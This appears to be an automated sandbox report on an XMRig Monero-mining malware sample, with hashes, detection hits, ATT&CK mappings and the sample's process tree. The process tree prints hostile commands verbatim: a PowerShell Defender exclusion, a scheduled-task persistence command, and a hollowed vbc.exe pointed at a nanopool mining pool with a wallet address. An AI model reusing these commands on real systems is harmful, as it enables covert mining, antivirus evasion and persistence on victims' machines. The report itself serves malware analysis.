xmrig | ac81e8eca9a4b0b7fad900a469682e16981c69732551dfa9b3c026a0f6bbf80c

Analysis

max time kernel
77s
max time network
132s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
07-02-2023 06:53

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General

Target

ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe
Size

2.2MB
MD5

04463334a6eae4cd5aa2e41bd17e3b25
SHA1

fc7b80c27c655bd7de306c98cdbd810077babc15
SHA256

ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90
SHA512

360339adafa78e2993f3c7ba10f615436900bd4e9407dced12827ca6d0971b8d7c454611f12d1685f79354756a387a7d78ee6702ed1c5868793bbf4088dc780c
SSDEEP

49152:sOnjDmNlqKpXDCUOnjDmNlq/z90f0SpWtBnUhTUEdGloy2:XtU0SotBnUgOG

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral1/memory/1748-103-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1748-105-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1748-107-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1748-108-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1748-110-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1748-112-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1748-113-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1748-115-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1748-117-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1748-118-0x0000000140343234-mapping.dmp	xmrig
behavioral1/memory/1748-120-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1748-122-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1748-126-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/1496-69-0x0000000000320000-0x00000000005B8000-memory.dmp	net_reactor
behavioral1/memory/1496-123-0x0000000000320000-0x00000000005B8000-memory.dmp	net_reactor

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1496 set thread context of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1120	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1488	powershell.exe
1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe
1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeLockMemoryPrivilege	1748	vbc.exe
Token: SeLockMemoryPrivilege	1748	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1748	vbc.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1496 wrote to memory of 1488	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	28
PID 1496 wrote to memory of 1488	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	28
PID 1496 wrote to memory of 1488	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	28
PID 1496 wrote to memory of 616	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	29
PID 1496 wrote to memory of 616	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	29
PID 1496 wrote to memory of 616	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	29
PID 616 wrote to memory of 1120	616	cmd.exe	31
PID 616 wrote to memory of 1120	616	cmd.exe	31
PID 616 wrote to memory of 1120	616	cmd.exe	31
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33
PID 1496 wrote to memory of 1748	1496	ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe	33

C:\Users\Admin\AppData\Local\Temp\ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe
"C:\Users\Admin\AppData\Local\Temp\ac1585ecff0d275e852f9d35792879bda062537ae12267306108d55873987e90.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SRIKA" /tr "C:\ProgramData\versionApp\SRIKA.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "SRIKA" /tr "C:\ProgramData\versionApp\SRIKA.exe"
    3⤵
    - Creates scheduled task(s)
    PID:1120
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1748

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/616-85-0x0000000000000000-mapping.dmp

Download
memory/1120-87-0x0000000000000000-mapping.dmp

Download
memory/1488-76-0x000007FEFC5A1000-0x000007FEFC5A3000-memory.dmp

Filesize
8KB

Download
memory/1488-83-0x0000000002A1B000-0x0000000002A3A000-memory.dmp

Filesize
124KB

Download
memory/1488-82-0x0000000002A14000-0x0000000002A17000-memory.dmp

Filesize
12KB

Download
memory/1488-81-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

Filesize
3.0MB

Download
memory/1488-79-0x000007FEEC660000-0x000007FEED1BD000-memory.dmp

Filesize
11.4MB

Download
memory/1488-80-0x0000000002A14000-0x0000000002A17000-memory.dmp

Filesize
12KB

Download
memory/1488-78-0x000007FEED1C0000-0x000007FEEDBE3000-memory.dmp

Filesize
10.1MB

Download
memory/1488-75-0x0000000000000000-mapping.dmp

Download
memory/1496-70-0x000007FEF6F00000-0x000007FEF702C000-memory.dmp

Filesize
1.2MB

Download
memory/1496-93-0x000007FEFAD00000-0x000007FEFAD71000-memory.dmp

Filesize
452KB

Download
memory/1496-68-0x000007FEFC1E0000-0x000007FEFC236000-memory.dmp

Filesize
344KB

Download
memory/1496-67-0x000007FEFFA90000-0x000007FEFFC93000-memory.dmp

Filesize
2.0MB

Download
memory/1496-69-0x0000000000320000-0x00000000005B8000-memory.dmp

Filesize
2.6MB

Download
memory/1496-55-0x000007FEFB7B0000-0x000007FEFB81F000-memory.dmp

Filesize
444KB

Download
memory/1496-71-0x0000000000320000-0x00000000005B8000-memory.dmp

Filesize
2.6MB

Download
memory/1496-72-0x0000000000200000-0x0000000000243000-memory.dmp

Filesize
268KB

Download
memory/1496-74-0x000007FEFD1C0000-0x000007FEFD1D7000-memory.dmp

Filesize
92KB

Download
memory/1496-73-0x000007FEFD310000-0x000007FEFD332000-memory.dmp

Filesize
136KB

Download
memory/1496-65-0x000007FEF6290000-0x000007FEF6C7C000-memory.dmp

Filesize
9.9MB

Download
memory/1496-64-0x000007FEFF9B0000-0x000007FEFFA8B000-memory.dmp

Filesize
876KB

Download
memory/1496-77-0x000007FEFE020000-0x000007FEFE0F7000-memory.dmp

Filesize
860KB

Download
memory/1496-63-0x000007FEF71E0000-0x000007FEF72D7000-memory.dmp

Filesize
988KB

Download
memory/1496-62-0x000007FEFF640000-0x000007FEFF6B1000-memory.dmp

Filesize
452KB

Download
memory/1496-61-0x000007FEFDAA0000-0x000007FEFDB0C000-memory.dmp

Filesize
432KB

Download
memory/1496-60-0x0000000077A60000-0x0000000077B7F000-memory.dmp

Filesize
1.1MB

Download
memory/1496-59-0x000007FEFF6C0000-0x000007FEFF75F000-memory.dmp

Filesize
636KB

Download
memory/1496-58-0x0000000077960000-0x0000000077A5A000-memory.dmp

Filesize
1000KB

Download
memory/1496-57-0x000007FEFF760000-0x000007FEFF7C7000-memory.dmp

Filesize
412KB

Download
memory/1496-56-0x000007FEFB710000-0x000007FEFB7AC000-memory.dmp

Filesize
624KB

Download
memory/1496-86-0x000007FEFBF40000-0x000007FEFC155000-memory.dmp

Filesize
2.1MB

Download
memory/1496-88-0x000007FEFEFD0000-0x000007FEFEFEF000-memory.dmp

Filesize
124KB

Download
memory/1496-89-0x000007FEF18F0000-0x000007FEF190C000-memory.dmp

Filesize
112KB

Download
memory/1496-90-0x000007FEF1910000-0x000007FEF1972000-memory.dmp

Filesize
392KB

Download
memory/1496-91-0x000007FEFEE90000-0x000007FEFEEDD000-memory.dmp

Filesize
308KB

Download
memory/1496-92-0x000007FEFAC90000-0x000007FEFACF4000-memory.dmp

Filesize
400KB

Download
memory/1496-66-0x000007FEFF7D0000-0x000007FEFF8FD000-memory.dmp

Filesize
1.2MB

Download
memory/1496-94-0x000007FEFD790000-0x000007FEFD7B5000-memory.dmp

Filesize
148KB

Download
memory/1496-95-0x000007FEFB2A0000-0x000007FEFB2C7000-memory.dmp

Filesize
156KB

Download
memory/1496-96-0x000007FEFDA30000-0x000007FEFDA66000-memory.dmp

Filesize
216KB

Download
memory/1496-97-0x000007FEFCFE0000-0x000007FEFD03B000-memory.dmp

Filesize
364KB

Download
memory/1496-123-0x0000000000320000-0x00000000005B8000-memory.dmp

Filesize
2.6MB

Download
memory/1748-117-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-125-0x0000000000000000-0x0000000001000000-memory.dmp

Filesize
16.0MB

Download
memory/1748-103-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-105-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-107-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-108-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-110-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-99-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-127-0x0000000000000000-0x0000000001000000-memory.dmp

Filesize
16.0MB

Download
memory/1748-101-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-112-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-118-0x0000000140343234-mapping.dmp

Download
memory/1748-120-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-121-0x00000000001E0000-0x0000000000200000-memory.dmp

Filesize
128KB

Download
memory/1748-122-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-98-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-124-0x0000000000000000-0x0000000001000000-memory.dmp

Filesize
16.0MB

Download
memory/1748-115-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-126-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1748-113-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download